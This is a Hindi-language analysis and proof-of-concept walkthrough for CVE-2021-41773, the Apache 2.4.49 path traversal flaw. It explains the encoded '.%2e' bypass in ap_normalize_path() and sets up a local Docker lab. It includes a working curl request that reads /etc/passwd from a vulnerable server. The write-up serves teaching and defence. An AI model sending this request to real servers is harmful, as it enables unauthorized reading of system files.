
CVE-2021-41773 का PoC और विश्लेषण
CVE-2021-41773 एक पाथ ट्रैवर्सल भेद्यता है जो Apache HTTP सर्वर 2.4.49 को प्रभावित करती है।
यह भेद्यता एक हमलावर को विशिष्ट कॉन्फ़िगरेशन के तहत इच्छित निर्देशिका के बाहर की फ़ाइलों तक पहुँचने की अनुमति देती है, विशेष रूप से जब निर्देशिकाएँ Alias, ScriptAlias, या अन्य Alias-जैसे निर्देशों के माध्यम से एक्सपोज़ होती हैं।
यह भेद्यता URL पाथ नॉर्मलाइज़ेशन और कैनोनिकलाइज़ेशन के अनुचित संचालन के कारण मौजूद है। Apache ने पाथ के एक ऐसे प्रतिनिधित्व पर सुरक्षा जाँच की जिसमें अभी भी एन्कोडेड वर्ण हो सकते थे, जिससे हमलावर एन्कोडेड डॉट अनुक्रमों का उपयोग करके ट्रैवर्सल डिटेक्शन को बायपास कर सकते थे।
एक हमलावर एन्कोडेड ट्रैवर्सल अनुक्रमों वाला एक दुर्भावनापूर्ण URL बना सकता है, जैसे:
.%2e
जहाँ:
%2e = .
इसलिए:
.%2e
डिकोडिंग के बाद:
..
बन जाता है।
यदि Apache कैनोनिकल रूप में हल करने से पहले एन्कोडेड प्रतिनिधित्व को सत्यापित करता है, तो ट्रैवर्सल जाँच को बायपास किया जा सकता है।
सफल शोषण एक हमलावर को फ़ाइल सिस्टम से मनमानी फ़ाइलें पढ़ने की अनुमति दे सकता है।
उदाहरण लक्ष्य:
/etc/passwd
संवेदनशील लॉजिक इसमें स्थित है:
server/util.c
के अंदर:
ap_normalize_path()
Apache 2.4.49 संवेदनशील कोड:
if (path[l] == '.') {
/* Remove /./ segments */
if (IS_SLASH_OR_NUL(path[l + 1])) {
l++;
if (path[l]) {
l++;
}
continue;
}
/* Remove /xx/../ segments */
if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
/* Wind w back to remove the previous segment */
if (w > 1) {
do {
w--;
} while (w && !IS_SLASH(path[w - 1]));
}
else {
/* Already at root, ignore and return a failure
* if asked to.
*/
if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
ret = 0;
}
}
/* Move l forward to the next segment */
l += 2;
if (path[l]) {
l++;
}
continue;
}
}
संवेदनशील कोड निर्देशिका ट्रैवर्सल पैटर्न की पहचान करने का प्रयास करता है:
../
लगातार डॉट्स की जाँच करके:
path[l + 1] == '.'
हालाँकि, एक हमलावर एन्कोडेड ट्रैवर्सल अनुक्रम प्रदान कर सकता है:
/.%2e/
नॉर्मलाइज़ेशन जाँच के समय, Apache प्रोसेस करता है:
.%2e
इसके बजाय:
..
क्योंकि:
%2e != .
ट्रैवर्सल डिटेक्शन लॉजिक अनुक्रम को इस रूप में नहीं पहचानता:
../
पाथ फिर अपने डिकोडेड रूप में व्याख्यायित होता है, जिससे ट्रैवर्सल होने की अनुमति मिलती है।
संवेदनशील व्यवहार को इस प्रकार दर्शाया जा सकता है:
HTTP अनुरोध
|
v
पाथ नॉर्मलाइज़ेशन / ट्रैवर्सल सत्यापन
|
v
URL डिकोडिंग / कैनोनिकलाइज़ेशन
|
v
फ़ाइल सिस्टम एक्सेस
सुरक्षा निर्णय पाथ के अपने अंतिम कैनोनिकल प्रतिनिधित्व तक पहुँचने से पहले लिया जाता है।
एक सुरक्षित दृष्टिकोण यह है:
HTTP अनुरोध
|
v
URL डिकोडिंग
|
v
पाथ नॉर्मलाइज़ेशन
|
v
ट्रैवर्सल सत्यापन
|
v
फ़ाइल सिस्टम एक्सेस
सुरक्षा जाँच हमेशा अंतिम नॉर्मलाइज़्ड प्रतिनिधित्व के विरुद्ध की जानी चाहिए।
git clone https://github.com/tr3m0x/CVE-2021-41773.git
cd CVE-2021-41773
docker build -t apache-cve-2021-41773 .
docker run -d \
--name apache-vulnerable \
-p 8989:80 \
apache-cve-2021-41773
एन्कोडेड ट्रैवर्सल अनुक्रम वाला अनुरोध भेजें:
curl --path-as-is \
"http://localhost:8989/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
एक सफल शोषण की सामग्री लौटाता है:
/etc/passwd
उदाहरण:
root:x:0:0:root:/root:/bin/bash
403 Forbidden प्रतिक्रिया का अर्थ यह नहीं है कि शोषण विफल रहा।
परीक्षण के दौरान, Apache सफलतापूर्वक नॉर्मलाइज़ कर सकता है:
/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd
को:
/etc/passwd
में, लेकिन फ़ाइल सिस्टम अनुमतियों या Apache प्राधिकरण नियमों के कारण पहुँच से इनकार कर सकता है।
उदाहरण:
client denied by server configuration: /etc/passwd
यह इंगित करता है कि ट्रैवर्सल सफलतापूर्वक हुआ, लेकिन एक्सेस नियंत्रण ने फ़ाइल प्रकटीकरण को रोक दिया।
CVE-2021-41773 कैनोनिकलाइज़ेशन भेद्यता का एक उत्कृष्ट उदाहरण है।
उपयोगकर्ता-नियंत्रित इनपुट के कई प्रतिनिधित्व हो सकते हैं:
.%2e
और:
..
हालाँकि ये अलग दिखते हैं, ये समान पाथ घटक का प्रतिनिधित्व करते हैं।
सुरक्षा जाँच हमेशा डिकोडिंग और नॉर्मलाइज़ेशन के बाद की जानी चाहिए। किसी एन्कोडेड या अस्पष्ट प्रतिनिधित्व को सत्यापित करना सुरक्षा बायपास का कारण बन सकता है।